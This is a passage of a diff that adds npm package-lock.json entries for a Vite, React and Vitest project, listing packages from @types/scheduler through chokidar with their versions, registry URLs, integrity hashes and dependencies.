true, + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/scheduler": { + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.8.tgz", + "integrity": "sha512-WZLiwShhwLRmeV6zH+GkbOFT6Z6VklCItrDioxUnv+u4Ll+8vKeFySoFyK/0ctcRpOmwAicELfmys1sDc/Rw+A==", + "dev": true + }, + "node_modules/@ungap/structured-clone": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.0.tgz", + "integrity": "sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==", + "dev": true + }, + "node_modules/@vitejs/plugin-react-swc": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react-swc/-/plugin-react-swc-3.5.0.tgz", + "integrity": "sha512-1PrOvAaDpqlCV+Up8RkAh9qaiUjoDUcjtttyhXDKw53XA6Ve16SOp6cCOpRs8Dj8DqUQs6eTW5YkLcLJjrXAig==", + "dev": true, + "dependencies": { + "@swc/core": "^1.3.96" + }, + "peerDependencies": { + "vite": "^4 || ^5" + } + }, + "node_modules/@vitest/coverage-v8": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-1.0.4.tgz", + "integrity": "sha512-xD6Yuql6RW0Ir/JJIs6rVrmnG2/KOWJF+IRX1oJQk5wGKGxbtdrYPbl+WTUn/4ICCQ2G20zbE1e8/nPNyAG5Vg==", + "dev": true, + "dependencies": { + "@ampproject/remapping": "^2.2.1", + "@bcoe/v8-coverage": "^0.2.3", + "debug": "^4.3.4", + "istanbul-lib-coverage": "^3.2.2", + "istanbul-lib-report": "^3.0.1", + "istanbul-lib-source-maps": "^4.0.1", + "istanbul-reports": "^3.1.6", + "magic-string": "^0.30.5", + "magicast": "^0.3.2", + "picocolors": "^1.0.0", + "std-env": "^3.5.0", + "test-exclude": "^6.0.0", + "v8-to-istanbul": "^9.2.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "vitest": "^1.0.0" + } + }, + "node_modules/@vitest/expect": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-1.0.4.tgz", + "integrity": "sha512-/NRN9N88qjg3dkhmFcCBwhn/Ie4h064pY3iv7WLRsDJW7dXnEgeoa8W9zy7gIPluhz6CkgqiB3HmpIXgmEY5dQ==", + "dev": true, + "dependencies": { + "@vitest/spy": "1.0.4", + "@vitest/utils": "1.0.4", + "chai": "^4.3.10" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-1.0.4.tgz", + "integrity": "sha512-rhOQ9FZTEkV41JWXozFM8YgOqaG9zA7QXbhg5gy6mFOVqh4PcupirIJ+wN7QjeJt8S8nJRYuZH1OjJjsbxAXTQ==", + "dev": true, + "dependencies": { + "@vitest/utils": "1.0.4", + "p-limit": "^5.0.0", + "pathe": "^1.1.1" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner/node_modules/p-limit": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-5.0.0.tgz", + "integrity": "sha512-/Eaoq+QyLSiXQ4lyYV23f14mZRQcXnxfHrN0vCai+ak9G0pp9iEQukIIZq5NccEvwRB8PUnZT0KsOoDCINS1qQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^1.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@vitest/runner/node_modules/yocto-queue": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-1.0.0.tgz", + "integrity": "sha512-9bnSc/HEW2uRy67wc+T8UwauLuPJVn28jb+GtJY16iiKWyvmYJRXVT4UamsAEGQfPohgr2q4Tq0sQbQlxTfi1g==", + "dev": true, + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@vitest/snapshot": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-1.0.4.tgz", + "integrity": "sha512-vkfXUrNyNRA/Gzsp2lpyJxh94vU2OHT1amoD6WuvUAA12n32xeVZQ0KjjQIf8F6u7bcq2A2k969fMVxEsxeKYA==", + "dev": true, + "dependencies": { + "magic-string": "^0.30.5", + "pathe": "^1.1.1", + "pretty-format": "^29.7.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/snapshot/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@vitest/snapshot/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@vitest/snapshot/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/@vitest/spy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-1.0.4.tgz", + "integrity": "sha512-9ojTFRL1AJVh0hvfzAQpm0QS6xIS+1HFIw94kl/1ucTfGCaj1LV/iuJU4Y6cdR03EzPDygxTHwE1JOm+5RCcvA==", + "dev": true, + "dependencies": { + "tinyspy": "^2.2.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/ui": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@vitest/ui/-/ui-1.0.4.tgz", + "integrity": "sha512-gd4p6e7pjukSe4joWS5wpnm/JcEfzCZUYkYWQOORqJK1mDJ0MOaXa/9BbPOEVO5TcvdnKvFJUdJpFHnqoyYwZA==", + "dev": true, + "dependencies": { + "@vitest/utils": "1.0.4", + "fast-glob": "^3.3.2", + "fflate": "^0.8.1", + "flatted": "^3.2.9", + "pathe": "^1.1.1", + "picocolors": "^1.0.0", + "sirv": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "vitest": "^1.0.0" + } + }, + "node_modules/@vitest/utils": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-1.0.4.tgz", + "integrity": "sha512-gsswWDXxtt0QvtK/y/LWukN7sGMYmnCcv1qv05CsY6cU/Y1zpGX1QuvLs+GO1inczpE6Owixeel3ShkjhYtGfA==", + "dev": true, + "dependencies": { + "diff-sequences": "^29.6.3", + "loupe": "^2.3.7", + "pretty-format": "^29.7.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/utils/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@vitest/utils/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@vitest/utils/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "8.11.2", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.11.2.tgz", + "integrity": "sha512-nc0Axzp/0FILLEVsm4fNwLCwMttvhEI263QtVPQcbpfZZ3ts0hLsZGOpE6czNlid7CJ9MlyH8reXkpsf3YUY4w==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "8.3.1", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.1.tgz", + "integrity": "sha512-TgUZgYvqZprrl7YldZNoa9OciCAyZR+Ejm9eXzKCmjsF5IKp/wgQ7Z/ZpjpGTIUPwrHQIcYeI8qDh4PsEwxMbw==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/agent-base": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.0.tgz", + "integrity": "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg==", + "dev": true, + "dependencies": { + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true + }, + "node_modules/aria-query": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", + "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", + "dev": true, + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz", + "integrity": "sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "is-array-buffer": "^3.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + }, + "node_modules/array-includes": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.7.tgz", + "integrity": "sha512-dlcsNBIiWhPkHdOEEKnehA+RNUWDc4UqFtnIXU4uuYDPtA4LDkr7qip2p0VvFAEXNDr0yWZ9PJyIRiGjRLQzwQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "get-intrinsic": "^1.2.1", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flat": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.2.tgz", + "integrity": "sha512-djYB+Zx2vLewY8RWlNCUdHjDXs2XOgm602S9E7P/UpHgfeHL00cRiIF+IN/G/aUJ7kGPb6yO/ErDI5V2s8iycA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.2.tgz", + "integrity": "sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.tosorted": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.2.tgz", + "integrity": "sha512-HuQCHOlk1Weat5jzStICBCd83NxiIMwqDg/dHEsoefabn/hJRj5pVdWcPUSpRrwhwxZOsQassMpgN/xRYFBMIg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "es-shim-unscopables": "^1.0.0", + "get-intrinsic": "^1.2.1" + } + }, + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.2.tgz", + "integrity": "sha512-yMBKppFur/fbHu9/6USUe03bZ4knMYiwFBcyiaXB8Go0qNehwX6inYPzK9U0NeQvGxKthcmHcaR8P5MStSRBAw==", + "dev": true, + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "get-intrinsic": "^1.2.1", + "is-array-buffer": "^3.0.2", + "is-shared-array-buffer": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/assertion-error": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz", + "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/asynciterator.prototype": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/asynciterator.prototype/-/asynciterator.prototype-1.0.0.tgz", + "integrity": "sha512-wwHYEIS0Q80f5mosx3L/dfG5t5rjEa9Ft51GTaNt862EnpyGHpgz2RkZvLPp1oF5TnAiTohkEKVEu8pQPJI7Vg==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.3" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true + }, + "node_modules/autoprefixer": { + "version": "10.4.16", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.16.tgz", + "integrity": "sha512-7vd3UC6xKp0HLfua5IjZlcXvGAGy7cBAXTg2lyQ/8WpNhd6SiZ8Be+xm3FyBSYJx5GKcpRCzBh7RH4/0dnY+uQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "browserslist": "^4.21.10", + "caniuse-lite": "^1.0.30001538", + "fraction.js": "^4.3.6", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.0", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/available-typed-arrays": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", + "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/body-parser": { + "version": "1.20.3", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz", + "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==", + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.13.0", + "raw-body": "2.5.2", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.22.2", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.22.2.tgz", + "integrity": "sha512-0UgcrvQmBDvZHFGdYUehrCNIazki7/lUP3kkoi/r3YB2amZbFM9J43ZRkJTXBUZK4gmx56+Sqk9+Vs9mwZx9+A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001565", + "electron-to-chromium": "^1.4.601", + "node-releases": "^2.0.14", + "update-browserslist-db": "^1.0.13" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/cac": { + "version": "6.7.14", + "resolved": "https://registry.npmjs.org/cac/-/cac-6.7.14.tgz", + "integrity": "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001570", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001570.tgz", + "integrity": "sha512-+3e0ASu4sw1SWaoCtvPeyXp+5PsjigkSt8OXZbF9StH5pQWbxEjLAZE3n8Aup5udop1uRiKA7a4utUk/uoSpUw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/chai": { + "version": "4.3.10", + "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.10.tgz", + "integrity": "sha512-0UXG04VuVbruMUYbJ6JctvH0YnC/4q3/AkT18q4NaITo91CUm0liMS9VqzT9vZhVQ/1eqPanMWjBM+Juhfb/9g==", + "dev": true, + "dependencies": { + "assertion-error": "^1.1.0", + "check-error": "^1.0.3", + "deep-eql": "^4.1.3", + "get-func-name": "^2.0.2", + "loupe": "^2.3.6", + "pathval": "^1.1.1", + "type-detect": "^4.0.8" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/check-error": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.3.tgz", + "integrity": "sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg==", + "dev": true, + "dependencies": { + "get-func-name": "^2.0.2" + }, + "engines": { + "node": "*" + } + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": 